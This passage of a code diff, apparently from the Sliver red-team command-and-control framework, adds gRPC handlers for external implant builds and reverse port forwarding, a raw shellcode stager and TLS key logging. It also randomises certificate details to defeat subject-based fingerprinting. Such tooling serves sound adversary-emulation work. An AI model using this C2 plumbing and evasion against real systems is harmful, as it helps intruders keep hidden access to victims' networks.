return nil, status.Errorf(codes.Unimplemented, "method GenerateExternalSaveBuild not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GenerateExternalGetImplantConfig(context.Context, *clientpb.ImplantConfig) (*clientpb.ExternalImplantConfig, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GenerateExternalGetImplantConfig not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Regenerate not implemented")
|
||||
}
|
||||
@@ -1829,6 +1904,15 @@ func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHija
|
||||
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) StartRportFwdListener(context.Context, *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method StartRportFwdListener not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetRportFwdListeners(context.Context, *sliverpb.RportFwdListenersReq) (*sliverpb.RportFwdListeners, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetRportFwdListeners not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) StopRportFwdListener(context.Context, *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method StopRportFwdListener not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented")
|
||||
}
|
||||
@@ -2514,6 +2598,60 @@ func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GenerateExternal_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.GenerateReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).GenerateExternal(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/GenerateExternal",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).GenerateExternal(ctx, req.(*clientpb.GenerateReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GenerateExternalSaveBuild_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.ExternalImplantBinary)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).GenerateExternalSaveBuild(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/GenerateExternalSaveBuild",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).GenerateExternalSaveBuild(ctx, req.(*clientpb.ExternalImplantBinary))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GenerateExternalGetImplantConfig_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.ImplantConfig)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).GenerateExternalGetImplantConfig(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).GenerateExternalGetImplantConfig(ctx, req.(*clientpb.ImplantConfig))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Regenerate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.RegenerateReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -3774,6 +3912,60 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_StartRportFwdListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RportFwdStartListenerReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).StartRportFwdListener(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/StartRportFwdListener",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).StartRportFwdListener(ctx, req.(*sliverpb.RportFwdStartListenerReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GetRportFwdListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RportFwdListenersReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).GetRportFwdListeners(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/GetRportFwdListeners",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).GetRportFwdListeners(ctx, req.(*sliverpb.RportFwdListenersReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_StopRportFwdListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RportFwdStopListenerReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).StopRportFwdListener(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/StopRportFwdListener",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).StopRportFwdListener(ctx, req.(*sliverpb.RportFwdStopListenerReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.OpenSession)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4296,6 +4488,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Generate",
|
||||
Handler: _SliverRPC_Generate_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GenerateExternal",
|
||||
Handler: _SliverRPC_GenerateExternal_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GenerateExternalSaveBuild",
|
||||
Handler: _SliverRPC_GenerateExternalSaveBuild_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GenerateExternalGetImplantConfig",
|
||||
Handler: _SliverRPC_GenerateExternalGetImplantConfig_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Regenerate",
|
||||
Handler: _SliverRPC_Regenerate_Handler,
|
||||
@@ -4576,6 +4780,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "GetPrivs",
|
||||
Handler: _SliverRPC_GetPrivs_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "StartRportFwdListener",
|
||||
Handler: _SliverRPC_StartRportFwdListener_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GetRportFwdListeners",
|
||||
Handler: _SliverRPC_GetRportFwdListeners_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "StopRportFwdListener",
|
||||
Handler: _SliverRPC_StopRportFwdListener_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "OpenSession",
|
||||
Handler: _SliverRPC_OpenSession_Handler,
|
||||
|
||||
@@ -286,6 +286,18 @@ const (
|
||||
MsgCurrentTokenOwner
|
||||
// MsgInvokeInProcExecuteAssemblyReq - Request to load and execute a .NET assembly in-process
|
||||
MsgInvokeInProcExecuteAssemblyReq
|
||||
|
||||
MsgRportFwdStopListenerReq
|
||||
|
||||
MsgRportFwdStartListenerReq
|
||||
|
||||
MsgRportFwdListener
|
||||
|
||||
MsgRportFwdListeners
|
||||
|
||||
MsgRportFwdListenersReq
|
||||
|
||||
MsgRPortfwdReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -501,7 +513,17 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgCurrentTokenOwner
|
||||
case *InvokeInProcExecuteAssemblyReq:
|
||||
return MsgInvokeInProcExecuteAssemblyReq
|
||||
}
|
||||
|
||||
case *RportFwdStartListenerReq:
|
||||
return MsgRportFwdStartListenerReq
|
||||
case *RportFwdStopListenerReq:
|
||||
return MsgRportFwdStopListenerReq
|
||||
case *RportFwdListenersReq:
|
||||
return MsgRportFwdListenersReq
|
||||
case *RportFwdListeners:
|
||||
return MsgRportFwdListeners
|
||||
case *RPortfwdReq:
|
||||
return MsgRPortfwdReq
|
||||
}
|
||||
return uint32(0)
|
||||
}
|
||||
+1840
-1163
File diff suppressed because it is too large.
Load diff
@@ -55,6 +55,7 @@ message Register {
|
||||
string ProxyURL = 14;
|
||||
string ConfigID = 16;
|
||||
int64 PeerID = 17;
|
||||
string Locale = 18;
|
||||
}
|
||||
|
||||
message BeaconRegister {
|
||||
@@ -729,7 +730,8 @@ message TunnelData {
|
||||
uint64 Sequence = 3;
|
||||
uint64 Ack = 4;
|
||||
bool Resend = 5;
|
||||
|
||||
bool CreateReverse = 6;
|
||||
RPortfwd rportfwd = 7;
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING];
|
||||
string SessionID = 9;
|
||||
}
|
||||
@@ -1041,3 +1043,66 @@ message ListExtensions {
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
|
||||
// *** RportFwd ***
|
||||
|
||||
message RportFwdStopListenerReq {
|
||||
uint32 ID = 1;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message RportFwdStartListenerReq {
|
||||
string BindAddress = 1;
|
||||
uint32 BindPort = 2;
|
||||
uint32 forwardPort = 3;
|
||||
string forwardAddress = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message RportFwdListener {
|
||||
uint32 ID = 1;
|
||||
string BindAddress = 2;
|
||||
uint32 bindPort = 3;
|
||||
string forwardAddress =4;
|
||||
uint32 forwardPort = 5;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
|
||||
message RportFwdListeners {
|
||||
repeated RportFwdListener Listeners = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message RportFwdListenersReq {
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
|
||||
message RPortfwd {
|
||||
uint32 Port = 1;
|
||||
int32 Protocol = 2;
|
||||
string Host = 3;
|
||||
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
|
||||
commonpb.Response Response = 9;
|
||||
|
||||
}
|
||||
|
||||
message RPortfwdReq {
|
||||
uint32 Port = 1;
|
||||
int32 Protocol = 2;
|
||||
string Host = 3;
|
||||
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
|
||||
commonpb.Request Request = 9;
|
||||
|
||||
}
|
||||
|
||||
|
||||
+5
-1
@@ -245,9 +245,13 @@ func getHTTPTLSConfig(conf *HTTPServerConfig) *tls.Config {
|
||||
httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
|
||||
return nil
|
||||
}
|
||||
return &tls.Config{
|
||||
tlsConfig := &tls.Config{
|
||||
Certificates: []tls.Certificate{cert},
|
||||
}
|
||||
if certs.TLSKeyLogger != nil {
|
||||
tlsConfig.KeyLogWriter = certs.TLSKeyLogger
|
||||
}
|
||||
return tlsConfig
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) router() *mux.Router {
|
||||
|
||||
+7
-4
@@ -103,23 +103,23 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
}
|
||||
|
||||
if len(currentPeers) > oldNumPeers {
|
||||
jobLog.Infof("New WG peers. Updating Wireguard config")
|
||||
jobLog.Debugf("New WG peers. Updating Wireguard config")
|
||||
|
||||
oldNumPeers = len(currentPeers)
|
||||
|
||||
jobLog.Infof("Old WG config for peers: %s", currentWGConf.String())
|
||||
jobLog.Debugf("Old WG config for peers: %s", currentWGConf.String())
|
||||
for k, v := range currentPeers {
|
||||
fmt.Fprintf(currentWGConf, "public_key=%s\n", k)
|
||||
fmt.Fprintf(currentWGConf, "allowed_ip=%s/32\n", v)
|
||||
}
|
||||
|
||||
jobLog.Infof("New WG config for peers: %s", currentWGConf.String())
|
||||
jobLog.Debugf("New WG config for peers: %s", currentWGConf.String())
|
||||
|
||||
if err := dev.IpcSetOperation(bufio.NewReader(currentWGConf)); err != nil {
|
||||
jobLog.Errorf("Failed to update Wireguard Config %s", err)
|
||||
continue
|
||||
}
|
||||
jobLog.Infof("Successfully updated Wireguard config")
|
||||
jobLog.Debugf("Successfully updated Wireguard config")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -429,6 +429,9 @@ func listenAndServeTLS(srv *http.Server, certPEMBlock, keyPEMBlock []byte) error
|
||||
if srv.TLSConfig != nil {
|
||||
*config = *srv.TLSConfig
|
||||
}
|
||||
if certs.TLSKeyLogger != nil {
|
||||
config.KeyLogWriter = certs.TLSKeyLogger
|
||||
}
|
||||
if config.NextProtos == nil {
|
||||
config.NextProtos = []string{"http/1.1"}
|
||||
}
|
||||
|
||||
+3
-3
@@ -71,9 +71,6 @@ func acceptSliverConnections(ln net.Listener) {
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
if errType, ok := err.(*net.OpError); ok && errType.Op == "accept" {
|
||||
break
|
||||
}
|
||||
mtlsLog.Errorf("Accept failed: %v", err)
|
||||
continue
|
||||
}
|
||||
@@ -220,5 +217,8 @@ func getServerTLSConfig(host string) *tls.Config {
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS13, // Force TLS v1.3
|
||||
}
|
||||
if certs.TLSKeyLogger != nil {
|
||||
tlsConfig.KeyLogWriter = certs.TLSKeyLogger
|
||||
}
|
||||
return tlsConfig
|
||||
}
|
||||
@@ -19,7 +19,6 @@ package c2
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
|
||||
@@ -58,15 +57,9 @@ func acceptConnections(ln net.Listener, data []byte) {
|
||||
|
||||
func handleConnection(conn net.Conn, data []byte) {
|
||||
mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
|
||||
// Send shellcode size
|
||||
dataSize := uint32(len(data))
|
||||
lenBuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(lenBuf, dataSize)
|
||||
tcpLog.Infof("Shellcode size: %d\n", dataSize)
|
||||
final := append(lenBuf, data...)
|
||||
tcpLog.Infof("Sending shellcode (%d)\n", len(final))
|
||||
tcpLog.Infof("Sending shellcode (%d)\n", len(data))
|
||||
// Send shellcode
|
||||
conn.Write(final)
|
||||
conn.Write(data)
|
||||
// Closing connection
|
||||
conn.Close()
|
||||
}
|
||||
@@ -20,7 +20,7 @@ package certs
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"golang.org/x/crypto/acme/autocert"
|
||||
@@ -37,7 +37,7 @@ var (
|
||||
|
||||
// GetACMEDir - Dir to store ACME certs
|
||||
func GetACMEDir() string {
|
||||
acmePath := path.Join(getCertDir(), ACMEDirName)
|
||||
acmePath := filepath.Join(getCertDir(), ACMEDirName)
|
||||
if _, err := os.Stat(acmePath); os.IsNotExist(err) {
|
||||
acmeLog.Infof("[mkdir] %s", acmePath)
|
||||
os.MkdirAll(acmePath, 0700)
|
||||
|
||||
+8
-8
@@ -25,7 +25,7 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
)
|
||||
@@ -44,7 +44,7 @@ func SetupCAs() {
|
||||
|
||||
func getCertDir() string {
|
||||
rootDir := assets.GetRootAppDir()
|
||||
certDir := path.Join(rootDir, "certs")
|
||||
certDir := filepath.Join(rootDir, "certs")
|
||||
if _, err := os.Stat(certDir); os.IsNotExist(err) {
|
||||
err := os.MkdirAll(certDir, 0700)
|
||||
if err != nil {
|
||||
@@ -57,7 +57,7 @@ func getCertDir() string {
|
||||
// GenerateCertificateAuthority - Creates a new CA cert for a given type
|
||||
func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certificate, *ecdsa.PrivateKey) {
|
||||
storageDir := getCertDir()
|
||||
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
|
||||
certsLog.Infof("Generating certificate authority for '%s'", caType)
|
||||
cert, key := GenerateECCCertificate(caType, commonName, true, false)
|
||||
@@ -104,9 +104,9 @@ func GetCertificateAuthority(caType string) (*x509.Certificate, *ecdsa.PrivateKe
|
||||
|
||||
// GetCertificateAuthorityPEM - Get PEM encoded CA cert/key
|
||||
func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) {
|
||||
caType = path.Base(caType)
|
||||
caCertPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
caKeyPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
|
||||
caType = filepath.Base(caType)
|
||||
caCertPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
caKeyPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
|
||||
|
||||
certPEM, err := ioutil.ReadFile(caCertPath)
|
||||
if err != nil {
|
||||
@@ -134,8 +134,8 @@ func SaveCertificateAuthority(caType string, cert []byte, key []byte) {
|
||||
|
||||
// CAs get written to the filesystem since we control the names and makes them
|
||||
// easier to move around/backup
|
||||
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
keyFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
|
||||
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
|
||||
|
||||
err := ioutil.WriteFile(certFilePath, cert, 0600)
|
||||
if err != nil {
|
||||
|
||||
+23
-10
@@ -31,6 +31,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/big"
|
||||
insecureRand "math/rand"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
@@ -40,12 +41,6 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
// RSAKeySize - Default size of RSA keys in bits
|
||||
RSAKeySize = 2048 // This is plenty 4096 is overkill
|
||||
|
||||
// Certs are valid for ~3 Years, minus up to 1 year from Now()
|
||||
validFor = 3 * (365 * 24 * time.Hour)
|
||||
|
||||
// ECCKey - Namespace for ECC keys
|
||||
ECCKey = "ecc"
|
||||
|
||||
@@ -148,7 +143,9 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
|
||||
var err error
|
||||
|
||||
// Generate private key
|
||||
privateKey, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader)
|
||||
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
|
||||
curve := curves[randomInt(len(curves))]
|
||||
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
|
||||
if err != nil {
|
||||
certsLog.Fatalf("Failed to generate private key: %s", err)
|
||||
}
|
||||
@@ -158,7 +155,7 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
|
||||
return generateCertificate(caType, subject, isCA, isClient, privateKey)
|
||||
}
|
||||
|
||||
// GenerateRSACertificate - Generates a 2048 bit RSA Certificate
|
||||
// GenerateRSACertificate - Generates an RSA Certificate
|
||||
func GenerateRSACertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
|
||||
|
||||
certsLog.Debugf("Generating TLS certificate (RSA) for '%s' ...", commonName)
|
||||
@@ -167,7 +164,7 @@ func GenerateRSACertificate(caType string, commonName string, isCA bool, isClien
|
||||
var err error
|
||||
|
||||
// Generate private key
|
||||
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
|
||||
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
|
||||
if err != nil {
|
||||
certsLog.Fatalf("Failed to generate private key %s", err)
|
||||
}
|
||||
@@ -183,7 +180,7 @@ func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient b
|
||||
notBefore := time.Now()
|
||||
days := randomInt(365) * -1 // Within -1 year
|
||||
notBefore = notBefore.AddDate(0, 0, days)
|
||||
notAfter := notBefore.Add(validFor)
|
||||
notAfter := notBefore.Add(randomValidFor())
|
||||
certsLog.Debugf("Valid from %v to %v", notBefore, notAfter)
|
||||
|
||||
// Serial number
|
||||
@@ -297,3 +294,19 @@ func randomInt(max int) int {
|
||||
i := binary.LittleEndian.Uint32(buf)
|
||||
return int(i) % max
|
||||
}
|
||||
|
||||
func randomValidFor() time.Duration {
|
||||
validFor := 3 * (365 * 24 * time.Hour)
|
||||
switch insecureRand.Intn(2) {
|
||||
case 0:
|
||||
validFor = 2 * (365 * 24 * time.Hour)
|
||||
case 1:
|
||||
validFor = 3 * (365 * 24 * time.Hour)
|
||||
}
|
||||
return validFor
|
||||
}
|
||||
|
||||
func rsaKeySize() int {
|
||||
rsaKeySizes := []int{4096, 2048}
|
||||
return rsaKeySizes[randomInt(len(rsaKeySizes))]
|
||||
}
|
||||
@@ -37,7 +37,7 @@ func HTTPSGenerateRSACertificate(host string) ([]byte, []byte, error) {
|
||||
var err error
|
||||
|
||||
// Generate private key
|
||||
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
|
||||
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
|
||||
if err != nil {
|
||||
certsLog.Fatalf("Failed to generate private key %s", err)
|
||||
return nil, nil, err
|
||||
|
||||
@@ -66,7 +66,6 @@ func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error)
|
||||
|
||||
// OperatorClientListCertificates - Get all client certificates
|
||||
func OperatorClientListCertificates() []*x509.Certificate {
|
||||
|
||||
operatorCerts := []*models.Certificate{}
|
||||
dbSession := db.Session()
|
||||
result := dbSession.Where(&models.Certificate{CAType: OperatorCA}).Find(&operatorCerts)
|
||||
|
||||
+325
-86
@@ -16,6 +16,11 @@ package certs
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
|
||||
Use JARM if you want to fingerprint, don't rely on the subject, its sloppy.
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
@@ -23,101 +28,314 @@ import (
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
)
|
||||
|
||||
var (
|
||||
// State -> Localities -> Street Addresses
|
||||
states = map[string]map[string][]string{
|
||||
"": {
|
||||
"": {""},
|
||||
// Finally found a good use for Github Co-Pilot!
|
||||
// Country -> State -> Localities -> Street Addresses
|
||||
subjects = map[string]map[string]map[string][]string{
|
||||
"US": {
|
||||
"": {
|
||||
"": {
|
||||
"",
|
||||
},
|
||||
},
|
||||
"Arizona": {
|
||||
"Phoenix": {""},
|
||||
"Mesa": {""},
|
||||
"Scottsdale": {""},
|
||||
"Chandler": {""},
|
||||
},
|
||||
"California": {
|
||||
"San Francisco": {"", "", "Golden Gate"},
|
||||
"Oakland": {""},
|
||||
"Berkeley": {""},
|
||||
"Palo Alto": {""},
|
||||
"Los Angeles": {""},
|
||||
"San Diego": {""},
|
||||
"San Jose": {""},
|
||||
"Sunnyvale": {""},
|
||||
"Santa Clara": {""},
|
||||
"Mountain View": {""},
|
||||
"San Mateo": {""},
|
||||
"Redwood City": {""},
|
||||
"Menlo Park": {""},
|
||||
"San Bruno": {""},
|
||||
"San Carlos": {""},
|
||||
"San Leandro": {""},
|
||||
"San Rafael": {""},
|
||||
"San Ramon": {""},
|
||||
"Santa Monica": {""},
|
||||
"Santa Rosa": {""},
|
||||
"South San Francisco": {
|
||||
"",
|
||||
},
|
||||
},
|
||||
"Colorado": {
|
||||
"Denver": {""},
|
||||
"Boulder": {""},
|
||||
"Aurora": {""},
|
||||
"Fort Collins": {""},
|
||||
},
|
||||
"Connecticut": {
|
||||
"New Haven": {""},
|
||||
"Bridgeport": {""},
|
||||
"Stamford": {""},
|
||||
"Norwalk": {""},
|
||||
},
|
||||
"Washington": {
|
||||
"Seattle": {""},
|
||||
"Tacoma": {""},
|
||||
"Olympia": {""},
|
||||
"Spokane": {""},
|
||||
},
|
||||
"Florida": {
|
||||
"Miami": {""},
|
||||
"Orlando": {""},
|
||||
"Tampa": {""},
|
||||
"Jacksonville": {""},
|
||||
},
|
||||
"Illinois": {
|
||||
"Chicago": {""},
|
||||
"Aurora": {""},
|
||||
"Naperville": {""},
|
||||
"Peoria": {""},
|
||||
},
|
||||
"Indiana": {
|
||||
"Indianapolis": {""},
|
||||
"Fort Wayne": {""},
|
||||
"Evansville": {""},
|
||||
"South Bend": {""},
|
||||
},
|
||||
"Massachusetts": {
|
||||
"Boston": {""},
|
||||
"Worcester": {
|
||||
"",
|
||||
"Polytechnic Institute",
|
||||
},
|
||||
"Springfield": {""},
|
||||
"Lowell": {""},
|
||||
},
|
||||
"Michigan": {
|
||||
"Detroit": {""},
|
||||
"Grand Rapids": {
|
||||
"",
|
||||
"State University",
|
||||
},
|
||||
"Warren": {""},
|
||||
"Sterling Heights": {
|
||||
"",
|
||||
"Community College",
|
||||
},
|
||||
},
|
||||
"Minnesota": {
|
||||
"Minneapolis": {""},
|
||||
"Saint Paul": {""},
|
||||
"Bloomington": {""},
|
||||
"Plymouth": {""},
|
||||
},
|
||||
"New Jersey": {
|
||||
"Newark": {""},
|
||||
"Jersey City": {
|
||||
"",
|
||||
"Institute of Technology",
|
||||
},
|
||||
"Paterson": {""},
|
||||
"Elizabeth": {
|
||||
"",
|
||||
"Princeton",
|
||||
},
|
||||
},
|
||||
"New York": {
|
||||
"New York": {""},
|
||||
"Buffalo": {""},
|
||||
"Rochester": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Yonkers": {""},
|
||||
},
|
||||
"North Carolina": {
|
||||
"Charlotte": {""},
|
||||
"Raleigh": {""},
|
||||
"Greensboro": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Winston-Salem": {""},
|
||||
},
|
||||
"Ohio": {
|
||||
"Columbus": {""},
|
||||
"Cleveland": {
|
||||
"",
|
||||
"State University",
|
||||
},
|
||||
"Cincinnati": {""},
|
||||
"Toledo": {""},
|
||||
},
|
||||
},
|
||||
"Arizona": {
|
||||
"Phoenix": {""},
|
||||
"Mesa": {""},
|
||||
"Scottsdale": {""},
|
||||
"Chandler": {""},
|
||||
"CA": {
|
||||
"": {
|
||||
"": {
|
||||
"",
|
||||
},
|
||||
},
|
||||
"Alberta": {
|
||||
"Calgary": {""},
|
||||
"Edmonton": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Red Deer": {""},
|
||||
"Fort McMurray": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
},
|
||||
"British Columbia": {
|
||||
"Vancouver": {""},
|
||||
"Victoria": {""},
|
||||
"Kelowna": {""},
|
||||
"Richmond": {""},
|
||||
},
|
||||
"Manitoba": {
|
||||
"Winnipeg": {""},
|
||||
"Brandon": {""},
|
||||
"Thompson": {""},
|
||||
"Portage la Prairie": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
},
|
||||
"New Brunswick": {
|
||||
"Fredericton": {""},
|
